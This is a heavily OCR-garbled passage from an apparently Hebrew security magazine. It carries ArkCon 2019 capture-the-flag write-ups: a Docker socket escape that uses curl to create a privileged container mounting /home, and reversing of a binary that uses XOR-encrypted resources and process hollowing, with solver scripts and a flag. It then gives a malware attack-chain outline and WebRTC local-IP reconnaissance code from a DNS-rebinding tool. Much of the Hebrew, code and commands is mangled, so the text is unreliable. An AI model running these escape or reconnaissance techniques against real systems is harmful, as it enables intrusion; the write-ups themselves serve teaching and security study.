: 19459},{ I"t:rn1:‘_-111'1~ g":-1,"Created™:1552297 ' :"sha2hb

7] lﬂradr413ASGﬁ3 .duaq i, null, "Pa

babDSchffla4932?"],:RepoTat
:-1,"S1ze™:5533995, "VirtualsSi

[vn71) mydockerid7/dream1.1_light wnl mydockerid7/dream2 pwxIn - images 1w n7 wr

TN N2'o 72 ,1wa N .(D']IUﬂ D'-container-n NX 11170¥WD OTI7 DA DNIX 11'XK1 ,NNKRN

.70 102 .NINNN AWNNN 7¢ /home N'7'N% mount Y¥17 1 TANY N'XIIA'91IR 7907 NX11 ,q0102

:(create container NTIPO) NKAN NTIPZ9 WNNW)

;9011 container ID 72721 NTIF9N NX YN

/home § < ix-socket / - ocker.sock -H "Content-Type: application/jso
' - "Cmd": ["sh"], "Mount [{"Target
:"bind"™, "ReadoOnly false}]}' —X POST http:/vl

97c02ab0dBe0e0di0fecbeldec

er.
reﬂdﬁuuwnbbldn*“ efad _ Gntent—Ty
: "Attdchstduut —rue tachStder
"ctrl-p,ctrl-gq", "Priv1leged": t

ab0d860=0d808eeb6ld

20elf is not running™}
dump YN VIYD IXIQ 72N container-N X 0N7 NI 7V ContainerStart NTIRPS NX Yin'? TWON

‘tar |I'DOX NOX'M DXYAY ,archive NTIZON NIY¥NN] ,DI7N2

RXINNI

curl —-unix-soc
al965697c02akb0d

home/00407550000000000000000

000hom
0000000
.13441735H1401174D Oustar00C000000

.NNONN 7w 'wwn 7700 DIN DX INK TNl /home/key.part3 2'N1n DX NIKYYT TWOX
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https://docs.docker.com/engine/api/v1.24/#list-images
https://docs.docker.com/engine/api/v1.24/#create-a-container
https://docs.docker.com/engine/api/v1.37/#operation/ContainerStart
https://docs.docker.com/engine/api/v1.24/#get-an-archive-of-a-filesystem-resource-in-a-container

Technologic

:NN9NN DX NN7wUn

'R TIT'PN NN9N ,1N7¢ NN 07X ,base91 niyy¥nxa TTIzA NNONN D TN 72NN 1IN'MA
YNNI 227N NIXK NIW9Y7 Nan 7y ,|p7 .011WN O'-container-nn 1IRXINW AT X7X '01TIVON NNSNN

.NN9NN NX 17 197NN TWK base91 NNY97 LVIYD VO'I70]

TN
Base91 encode/decode for Python 2 and Python 3
Copyright (c) 2012 Adrien Beraud

Copyright (c) 2015 Guillaume Jacquenot
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

#
i
i
#
i
#
i
#
i
# * Redistributions of source code must retain the above copyright notice,

# this list of conditions and the following disclaimer.

# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.

# * Neither the name of Adrien Beraud, Wisdom Vibes Pte. Ltd., nor the names
#

#

#

#

#

#

#

#

#

#

#

#

#

#

of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import struct

def decode (encoded str, key):
''"'" Decode Base9l string to a bytearray '''
decode table = dict((v, k) for k, v in enumerate (key))
= -1
=0
=0
out = bytearray()
for strletter in encoded str:
if not strletter in decode table:
continue
c = decode table[strletter]
if (v < 0):
vV = C
else:
v += ¢ * 91
b |=v << n
n += 13 if (v & 8191) > 88 else 14
while True:
out += struct.pack('B', b & 255)
b >>= 8
n -= 8
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https://github.com/aberaud/base91-python/blob/master/base91.py
https://github.com/aberaud/base91-python/blob/master/base91.py

Technologic

if not n > 7:
break

if v + 1:
out += struct.pack('B', (b
return out

v << n) & 255)

main () :
'Ppn.4W{cP=aah (H[k g2zbVfa90M"D7.2mh2C| |otC;u!$"

'6S$xH*A0d1eBu&LKSO | T#Q=4jEqkl1{7["
'iP: !<"@mYMh3fGs>~D/tp"X, gb%C+ (z'
'w'c_y5;9N}oFar.UW)VI8J]2vnZ?R"'

keyl + key2 + key3
print decode (flag, key)

if name == ' main ':
main ()

10790

a1

ArkCon{yOu mU57 nO7 B3 4Fr4ld 70 dR34m!}
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(m1m;71 400,000) Billiejean :#3 NanN

Challenge

Billiejean
400000

People always told me be careful of what you do...

* billiejean.exe

Flag Submit

INno

IIRITAN 7Y XN 7'nm

|
Nope. ..

:IDA-2 N¥INN YAl DX |NQ)

L J

mov eax, [ebp+argv]

mov ecx, [eax+4]

mov input, ecx

lea edx, [ecx+1]

nop dword ptr [eax+20000000h]

loc_4014F0:

mov al, [ecx]

inc ecx

test al, al

jnz short loc_4014F@

sub ecx, edx

cmp ecx, 20h ; ' °

jnz loc_401654
11

82

ArkCon 2019 (OnSite)"anx N1T0
www.DigitalWhisper.co.il

2019 1' ,107 [I'7a



Technologic

o1 ANXRYT DN 32 NN )X 0770 NIKY NIRNY NI, wnnwnnn 077 n9¥N N1DINNY IR

-0 resource-N NX DYIV OY9 721 WKD L(0-n 7'NNN i-¥ J2Md) oMy 4 ¥ AxR717 v

.(RWX) 0x40-7 |IN2'72 TRN 7w NIXWINN DX 097NN (i+0x78)

[l e =

loc_481512: 3 1pType
push a4h

lea eax, [ebx+7Bh]

MOVIX ~ eax, ax

push eax 3 lpName
push 3 hModule
call ds:FindResourcek

mov esi, eax

push esi ; hResInfo
push 3 hModule
call ds:LoadResource

push esi ; hResInfo
push 3 hModule
mov edi, eax

call ds:sizecfResource

push edi ; hResData
mov esi, eax

call ds:LockResource

mov edi, eax

mow [ebp+floldProtect], @

lea eax, [ebp+floldProtect]
push eax 3 1lpfloldProtect
push ash ; '@ 3 FlNewProtect
push esi 3 dwsize
push edi 3 lpaddress
call ds:GetCurrentProcess

push eax 3 hProcess
call ds:virtualProtectEx

Xor-n NN D'Y¥AN IN'KY INN UKD LIIKIPY resource-1 N 72 7V xor N7IY9 Dy¥an [on INKY

0770 7 IUXIN NN DY xor NI7IVD D'YXIN [IWRIN resource-n 1IAY .WNNYUNn 7Y 070N y'an

RN 21,0970 7Y MW 1IN D'YNNYN YN resource-n 1Y

Mo eax, input

Mo dl, [eaxtebx]
mavsx  eax, dl

mowv [ebp+var_15], dl

XXMM NITIz9 N1Tya 0'N2 32 7y 0y9 721 resource-n 72y xor NI7IYS D'Y¥IN N'7'NN

s =

movups
movaps
pxor
movups
movups
pxor
movups
add
cmp

jb

loc_481593:

xmm@, xmmword ptr [editeax]
wmml, xmm2

Wmml, xmm@

xmmword ptr [editeax], xmml
xmm@, xmmword ptr [editeax+leh]
Xmm@, xmm2

xmmword ptr [editeax+1@h], xmm@
eax, 26h ; ' °

eax, edx

short loc_4@81593

83
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N NXK N xor 0'YXAN ,0'NA 32-1 NIND NXWI TWNRD PN ANXYI

¥

] e =

loc_am1s5Ce:

®or [eaxt+edi], dl
lea ecx, [eaxt+edi]
inc eax

cmp eax, esi

jb short loc_4815C8

—— "

XOr-N YIXY D'wnwn UK 0770 7Y DIIWRIN DUINN NYAIR DNN 207 X'N NIYRIN nn'vnn
Y172 M2ITAY N1INY7 7211 ,RWX-7 11w D'-resource-n NYQIX Y01 I'7X [ND'TN NIKYINY [11'N
2V qon yTn Rixn7 [N1) MZ o'inn oy TN D'7'NNN NRIN 7w axan 'xapg Dnimn o axan

NIYIIX NIX KI¥NY7I D'¥APN YR DX Y707 7210 .(90 1'7an kna ,PE 0NNID RIj7IY ,NTN UNIDN

‘M INN DY resource 721 [IWRIN NN 7Y xor N71IVD T 2V XNO'ON 7¥W DIWXIN DINN

for i in xrange(4) :
with open (str (0x7b+i),

'rb') as f:
char = f.read(1l)

print chr (ord(char) *

ord('M')),

NNMP MY YO0 70 9102 117w 07PN 7Y DRIWNRIN D'INN NY2K 17X ,hOl ofinin Nk n'7arype

NI¥IV'NN 190N NN f0NAI D'RNNN resource-N NX 10N N7apPN WK ,sub_401000 N'¥j7119%7

(i)
Y Y V¥
Ll et =]

loc_4®15CB:
push ebx
mow edx, edi
call sub_4elee8
inc ebx
add esp, 4
cmp ebx, 4
i1 loc_4@1512

1

NNZAI9N N2 101DNY BYP7 NION'NN MY! P 7172

(]
o e )
o daript OTTA e ] 1 itk Joms)
|
L] 1 1 L]
=] =l 1=

=

loc_so1181: ; jusptable 8940114A case © loc_so118¢ i jumptable 08481144 case 1 loc_se11c4: ; jusptable 0B411AA case 2 loc_sonacc: i jungtable 00401144 case 3
movix eax cow <o movix eax

or | [esieBon), eax [esivieh], ax wor  [es1+6), ax {esd), eax
jmp  short def 4e11aa .l jug  short def 4eiias . e shart def_seria

T T T
[T=
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.resource-n N7'NNnN offset-d 12 nwnnwni 0x3c offset-2 DWORD-N NX NXIIFZ N'¥7I9NYW NXRM
NT -0 - Xan N1ann ¥ 12w offset-7 y'a¥n oxya XNl MZ header-n N2 X¥n1 nrn offset-n

:Header

T— T} UPX Unility 000DD03A Word 0000

e_lfanew 0000003C Dwaord 000DDOFS

DY I'7N NVANY DIZNa NN 7Y xor Ny¥an X1 ,i WA NIND )Y n9'oin X' nTn offset-n 7X
D'NIN 0NN NYAIX NN FAN7 X' RN NN'YNRN D7 0772 0'RaN DINN NY2IX 7Y i-0 Dfan

Q% 0NN 0770 Y

:Offset 0x178-7 INMIN X'anW NN ,0x80 W NX N9'0IN X' i =011y

=] Optional Header

- 5
=) File Header Import Directory RVA 00000178 Dword 00011084 rdata

:Offset 0x10C-7 NNIX X'an¥ nn ,0x14 YN DX N9'0M XN i=111y

TIOTT T T Iy T IO |VVVWIW |uwu|u |vvvuuuvv

— > Impart Directony

— |2 Resource Directory SizeOfOptionalHea... |DDDDD1OC Word O0ED

— 125 Relocation Directory N [ [ oo i

:Offset OxFE-7 NNIX X'anw nn ,0x06 VN NN N9'0IN N i =2 11y

L ‘ﬂ DDS Header TWTaC e ||.MMNI'L | word |U|‘+L.. TITLEl 300
[ Nt Headers NumberQfSections |ODDDDOFE |Word 0006
E et | b h

7 lwxIN NN Da XN Offset 0xF8-2 1MNIK I'RWNY N ,0 VN DX D90 X' i = 3 11l
DAY WD INT P7L,“PE” yiapn oy 7'NNin%? 2N 0T N1an ,unIi9n NNTan 9% .NT Header-n n1an
VTN NN DX 7271 21 P NIRD YW Wn DY 'NDIN )W 7Y xor Yxa7 uiwo 117y NIxnY 7

NYD D'YUDSNN 1IRY n"y'ana

Y Ej I T
-
Member Offset Size Value
File: 123.dec _
3 Dos Header Signature 0DDDOOFS Dword 00004550
ers

NIY¥NRI Y 72 NIFfN% MK NN pImY 220 .xixn? 0iNn nviel 0-resource nWI7W 117 1NN
ANI' IX NINS 0¥ N2ITA D 12NN NNT resources-n 7TIAY (11N 7aX ,yalp 72 1M9xNn 9w n'en

Nalnlg
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:D'TTIA 0'N2 190N LYNY? TIXA DT DX 7NY NXIN NOX? NPT ONI

@ 125x_dec <--> 126x_dec - Hex Compare - Beyond Compare - u] b

Session File Search View Tools Help New version available

(@ Sessions v x * = | & 44 P

=1 C:\Users\yaakovco\Desktop\CTF\ArkCon\RE\billiejeant.rsrc\RCDATA\125.x_dec 5 v |C:\Users\yaakovco\Desktop\CTF\ArkCon\RE\billiejean\.rsrc\RCDATA\126.x_dec S
5/12/2019 112429 PM 72,704 bytes 5/12/2019 112429 PM 72,704 bytes

kD JsA 90 00 03 00 00 00 04
00 00 00 00 00 40
00 00 00 00 00 00

00 00 FF FF 00 00
00
00
00 00 00 00 00 00 00
B8
60
69
00

00 A 4D SA 90 00 03 00 00 00 04 0O 00 00 FF FF 00 00
00 00 00 00 00 00

00

00

B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00

00 F8 00 00 00 -P... 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00 5
OE 00 B4 09 (D 21 @1 4C (D 21 54 68 . g tiTh OFE 1F BA OF 00 B4 09 (D 21 B8 01 4C (D 21 54 68 »s - LLINTh
70 72 6F 67 72 61 20 63 61 6E 6E 6F is program canno 69 73 20 7@ 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
65 20 72 75 6E 20 6E 20 44 4F 53 20 t be run in DOS 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
65 2E 0D 0D OA 24 00 00 00 00 00 00 6D 6F 64 65 2E 6D 0D OA 24 00 00 00 00 00 00 00 .3

9D FD 22 40 CE FD 22 40 CE FD 22 40 CE
CE F4 22 40 CE 49 BE B3 CE 85 22 40 CE
CE E5 22 40 CE (6 7C 43 CF EC 22 40 CE

B9 43 2E 9D FD 22 40 CE FD 22 40 CE FD 22 40 CE
49 BE B1 CE F4 22 40 CE 49 BE B3 CE 85 22 40 CE
49 BE B2 CE E5 22 40 CE (6 7C 43 CF EC 22 40 CE

CF E@ 22 40 CE (6 7C 44 CF EC 22 40 CE  4|efa"@i|ofi"et C6 7C 45 CF E0 22 40 CE (6 7C 44 CF EC 22 40 CE

CE F8 22 40 CE FD 22 41 CE AA 22 40 CE V<lg"@ly“ale"@l 20 DD 8B CE F8 22 40 CE FD 22 41 CE AA 22 40 CE

CF FF 22 40 CE 6F 7C BF CE FC 22 40 CE jl1iy @lo| (Ti"el 6A 7C 49 CF FF 22 40 CE 6F 7C BF CE FC 22 40 CE

CF FC 22 40 CE 52 69 63 68 FD 22 40 CE  j|BIG"@IRichy"@1 6A 7C 42 CF FC 22 40 CE 52 69 63 68 FD 22 40 CE

00 00 00 00 00 50 45 00 00 4C 01 37 00 00 00 00 00 00 00 00 00 3E 45 00 00 4C 01 06 00

5C 00 00 00 00 00 00 00 00 EO 00 02 01 A8 FE BE 5C 00 00 00 00 00 00 00 00 EO 00 02 01

00 00 A6 00 00 00 7C 00 00 00 00 00 00 0B 01 OF 00 00 A6 00 00 00 7C 00 00 00 00 00 00

00 00 10 00 00 00 (O 00 00 00 00 40 00 69 14 60 00 00 10 00 00 00 (O 00 00 00 00 40 00

00 00 02 00 00 06 00 00 00 00 00 00 00 00 10 00 00 00 62 00 00 06 00 00 00 00 00 00 00

00 00 00 00 00 00 70 01 00 00 04 00 00 06 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00

00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 00 00 62 00 40 81 00 00 10 00 00 10 00 00

00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00

00 00 00 00 00 84 10 01 00 3C 00 00 00 00 00 00 00 00 00 00 00 84 10 01 00 3C 00 00 00

00 E0 01 00 00 00 00 00 00 00 00 00 00 00 50 01 00 EO 01 00 00 00 00 00 00 00 00 00 00

) 00 00 00 00 00 00 60 01 00 B3 0D 00 00 00 00 00 00 00 00 00 00 00 60 01 00 B3 0D 00 00
A@ 09 01 00 38 00 00 00 00 00 00 00 00 00 00 00 AQ 09 01 00 38 00 00 00 00 00 00 00 00 00 00 00
) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
) D8 09 01 00 40 00 00 00 00 00 00 00 00 00 00 00 D8 09 01 00 40 00 00 00 00 00 00 00 00 00 00 00
) 00 (O 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 (0 00 00 10 01 00 00 00 00 00 00 00 00 00 00
) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
) 2E 74 65 78 74 00 00 00 A7 AS 00 00 00 10 00 00 2E 74 65 78 74 00 00 00 A7 AS 00 00 00 10 00 00
0 00 AG 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 AG 00 00 00 04 00 00 00 00 00 00 00 00 00 00
0 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00
) AG 56 00 00 00 CO 00 00 00 58 00 00 00 AA 00 00 A6 56 00 00 00 (O 00 00 00 58 00 00 00 AA 00 00
) 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
0 2E 64 61 74 61 00 00 00 A8 11 00 00 00 20 01 00 2E 64 61 74 61 00 00 00 AS 11 00 00 00 20 01 00
) 00 03 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00 08 00 00 00 02 01 00 00 00 00 00 00 00 00 00
0 00 00 00 00 40 00 00 (O 2E 67 66 69 64 73 00 00 00 00 00 00 40 00 00 (O 2E 67 66 69 64 73 00 00
0 AC 00 00 00 00 40 01 00 00 02 00 00 00 0A 01 00 AC 00 00 00 00 40 01 00 00 02 00 00 00 OA 01 00
0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40

o 0 2E 72 73 72 63 00 00 00 E0 01 00 00 00 50 01 00 ¥ 2E 72 73 72 63 00 00 00 EQ 01 00 00 00 50 01 00 Y.
# Binary differences Load time: 0.19 seconds

X XI¥NY71 headers-n |2 NWNY 72210 , M1 ,1IWY NN 00T NIN? 0Nmy headers-n L, [27
7'nynY? 7211 ,(Resource 126) 'v'a1n resource-n NX 7'MV MNX 077N 7Y D'XAN DYINN NY2IX

110N D'DAVA IRY NIXR

:N2N TIPN DX 12N D DYY

import struct
ke&’ — T

# find key

for i in xrange(4):
th open(str (0x7b+i), 'rb') as f:
char = f.read(1l)
key += chr (ord(char) ~ ord('M'))

data = [0]*4
# decrypt files
for i in xrange (4)
ith open(str (0x7b+i), 'rb') as fl:
chars = fl.read()
datal[i] = ''.join([chr (ord(key[i]) *~ ord(c))

struct.unpack ('<I', data[3][0x

chr (ord(data[3] [nt _start]) * ord('P'"))
data[3] [:nt_start] + 'P' + data[3][nt start+l:]

tmp key chr (ord(data[3] [nt_start + 0x06]) ~ ord(data[2] [nt start + 0x06])) +
tmp key
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data[2] = data[2] [:nt start + 0x06] + data[3][nt start + 0x06] +
data[2] [nt _start + 0x06 + 1:]

tmp key chr (ord(data[3] [nt start + 0x14]) ~ ord(data[l][nt start + O0x14])) +
tmp key

data[1l] data[l] [:nt start + 0x14] + data[3][nt start + 0x14] +
data[l] [nt start + 0x14 + 1:]

tmp key = chr(ord(data[3] [nt start + 0x80]) ~ ord(data[O] [nt start + 0x80])) +
tmp key

data[0] data[0] [:nt_start + 0x80] + datal[3][nt start + 0x80] +
data[0] [nt start + 0x80 + 1:]

print tmp key

DN YOTIN V77N 7W DTIWXRID DUIND NIMY 0TI N72'PY nn gnYal ,0wln X' ARYINND
.h0llow1n
NTNNNAAN 6 NIK2 NTNNN NN 0N19) 17 NN7wAI thread X1 resource 72nW NIKYY 7210 qJwnna

1070

mow ecx, input

mow esi, eax

mow eax, [ebptvar 48]

push 6 ; Count

Mo byte ptr [esit+s], @

lea edx, [eaxteax™2]

lea ecx, [ecxtedx™2]

add ecx, 8

push ecx 3 Source

push esi ; Dest

call ds:strncpy

push esi

push offset aCharmapHs ; "charmap %hs"
lea eax, [ebptBuffer]

push 8Fh

push eax

call sub_4elecCe

add esp, 28h

lea eax, [ebp+NumberOfByteshritten)
push eax ; lpNumberOfByteskritten
push 1Eh ; nSize

lea eax, [ebp+Buffer]

push eax ; lpBuffer

mow eax, [ebp+hProcess

push dword ptr [eax+44h] ; lpBasefddress
push dword ptr [ebx] ; hProcess

call ds:WriteProcessMemory
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MvoIvt )ty IIrt,"voIr" 'voI"atoms-n 0'ntp DX NPT N'WRIN D'YRI90 DN INKY

_ L J
FEE
push 6dh ; 'd’ ; dwiilliseconds
call ds:Sleep
mov ebx, ds:Globalbeleteftom
mov edi, 1
mov [ebp+lpstring], offset avl ; "v_I"
xor eszi, esi
mov [ebp+var_1@], offset avIi ; "v_
mov [ebp+var_C], offset avIii ;
mov [ebptvar_8], offset aVIv ;
M

loc_481611: 3 lpstr
push [ebp+esi*a+lpsString]
call ds:GlobalFindatoma
MOVIX &~ eax, ax

test ax, ax

jz

short loc_ 401628

ing

FMEE
push eax 3 nAtom
call ebx ; GlobalDeleteAtom loc_4081628:
jmp short loc_48162A xor edi, edi
1 Y ¥ ]
loc_4a@162A:
inc esi
cmp esi, 4
jb short loc_481611
1
v
nAarn NMvn '71|7] om"p NnYaRn 21 nTna
T T
test edi, edi
pop edi
pop esi
pop ehx
jz short loc_481654
 J YvYy
push offset aYouAreTheOneGo ; "You are the one!\nGood job."
call sub_48168@ loc_4@1654:
add esp, 4 push offset aNope 3 "Mope...\n"
xor eax, eax call sub_481688

201 AWUND L0U7N IR 7Y DR7172 19N DLL 901 atom-n MY 'RINNW X¥Nal 0'-DLL-7 1iTn)

IT N'¥P19W NRN] .(check_char-7 bwn nX 07 1197n0) sub_401000 N'¥j72197 AR MY N'¥I0'R

XY NN NN IND Y DIpZ'MmN NX 0N ]'1'73.|7YJ

ZE

mov edx, [ebp+i]

mow eax, [ebp+input]
movzx  ecx, word ptr [eaxt+edx*2]
push ecx

mow edx, [ebp+i]
push edx

call check_char

add esp, 8

test eax, eax

jnz short loc_481281
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DLL-N NN 77 XNAITD X' ,001W D'DWA 711 ,1Mysw DLL-N '¥ap 792 ANt nnxy npal?ng [iirnn

JURIN

N2 TN 197

loc_4m1@27:

mow edx, [ebptarg_4]
add edx, 44

jz short loc_481838

3 Jjumptable 82481828 case @

:0"P7 Y IUXRIN NN

.(AUN1Bd NNAYNN AT MAIRD N7 YN NPNYN NIX 7722 0PN T'AN AT 'RKINN 17 D'Y] DX)

i e =]

loc_4mleda: 3 Jjumptable BB4R1828 case 1
Moy ecx, [ebptarg_4]

»or ecx, lidh

»or ecx, 4éh

»or ecx, 3lh

cmp ecx, 3Ah ;3 "

jnz short loc_481864

:D"PY7 1Y WD NN

loc_4m1e76: 3 Jjumptable BB481B28 case 2
mow eax, [ebptarg_4]

add eax, 23h ; '#'

cmp eax, 9Ch ; ‘&

jnz short loc_48183C

‘D"P'7 )X 'WUN NN

ull e =

loc_4R1@9B: 3 jumptable 88481828 case 3
mow edx, [ebptarg_ 4]

xor edx, Sdh

imul eax, edx, 31h ; "1°

cmp eax, 1324h

jnz short loc_ 481884
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:0"77 1Y YN NN

loc_48168C3: 3 Jjumptable @@481828 case 4
mov edx, [ebptarg_4]

add edx, 85h ; "..°

cmp edx, @FAh ; 'O

jnz short loc_481600

:D"P7 1Y 'UNN NN

FIEE

loc_4@l@EC: ; jumptable BB481828 case 5
mow ecx, [ebptarg 4]

Xor ecx, ldh

Xor ecx, 4@h

imul edw, ecx, 31h ; '1°

cmp edx, B8B1Ah

jnz short loc 481189

D77 MY 'WYN NN

(input [5]70x1470x40) *0x31 == O0xBlA

) . 1 1 3 = 1 1 1 1 1 1
'NIN ,DTIR 1'ROY 19D NTWID Y190 NINKIEL6-7 DY 07PN NIRY DT MW X770 INKY

.6 DX NIN DLL 72 112y 0770 K D Dpnn Nt

il i

loc_4B11F3:

Mo eax, [ebp+lpString]

push eax 3 lpString
call ds:lstrlenu

cmp eax, b6

jz short loc_4@8128C

L J
bl e =
maw win_flag, @

]

'N2N T2 ) 0w wnnwa [flag-n DR 727 XD IRWIY nn 7D
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Internet

e Malware connects to distant C&C server
e Network scan, hops to another host

e Detects an open SSH tunnel to OT

e Keyboard stroke recording (passwords, etc.)
for future use

o While user away, opens SSH tunnel, connects
to other systems, and installs further malware
on vulnerable hosts

e Cleanup and installation on a low-profile
persistent threat, ready for activation
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P.P.T - People, Process, Tecnolegy
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ReDTunnel - Redefining DNS Rebinding Attack
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https://www.digitalwhisper.co.il/files/Zines/0x09/DW9-3-DNSRebind.pdf
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ReDTunnel
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‘NIY JavaScript Reconnaissance Nip'00

,WebRTC-2 nunnwn NMm9N '9"NN NAMD NX NI7A7 ' NS '9'Na namd 17 .1

:NNAIT? V910

function getlLocallnterfacelps() {
return new Promise((resolve, reject) => {
if (lwindow.RTCPeerConnection || 'window.RTCPeerConnection.prototype.createDataChannel) {
return reject(new Error('WebRTC not supported by browser'));

}

let pc = new RTCPeerConnection();
let ips = [];

pc.createDataChannel("");
pc.createOffer()
.then(offer => pc.setLocalDescription(offer))
.catch(err => reject(err));
pc.onicecandidate = (event) => {
if (levent | | levent.candidate) {
// All ICE candidates have been sent.
if (ips.length === 0) {
return reject(new Error('WebRTC disabled or restricted by browser'));
}

return resolve(ips);

}

let parts = event.candidate.candidate.split(' ');
let [base, componentld, protocol, priority, ip, port, , type, ...attr] = parts;

if (lips.some(e => e === ip))
ips.push(ip);

NYNNYN DY NIN'pn '9"XN NIAIMD DX NI7AY 1) MY nin''ye 9" NImd 17 .2
V970 .JavaScript Reconnaissance 7w NnNAITA NIKYY? [N )2 7V 120N Ajax NIYPA7 DM
22 KIXNNYT N1 NNAIT?

https://github.com/ReDTunnel/redtunnel-core/blob/master/views/ping.ejs
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https://github.com/ReDTunnel/redtunnel-core/blob/master/views/ping.ejs
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https://github.com/ReDTunnel/redtunnel-core/blob/master/views/scan.ejs
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Console:
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[17:32:15. : e050eda3d®3267ca52a00f7edcB@f4056 .38.1.3:80]

.120:86880]

1
[17:32:15. : e050eda3d®3267ca52a00f7edcB@f4056 .38.1
[17:32:14. : ef5Beda3d@3267ca52a00f7TedcB@f4056 .30.1.21]
1
1
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https://github.com/ReDTunnel/redtunnel-core/blob/master/views/scan.ejs
https://github.com/ReDTunnel/redtunnel-core/blob/master/views/scan.ejs
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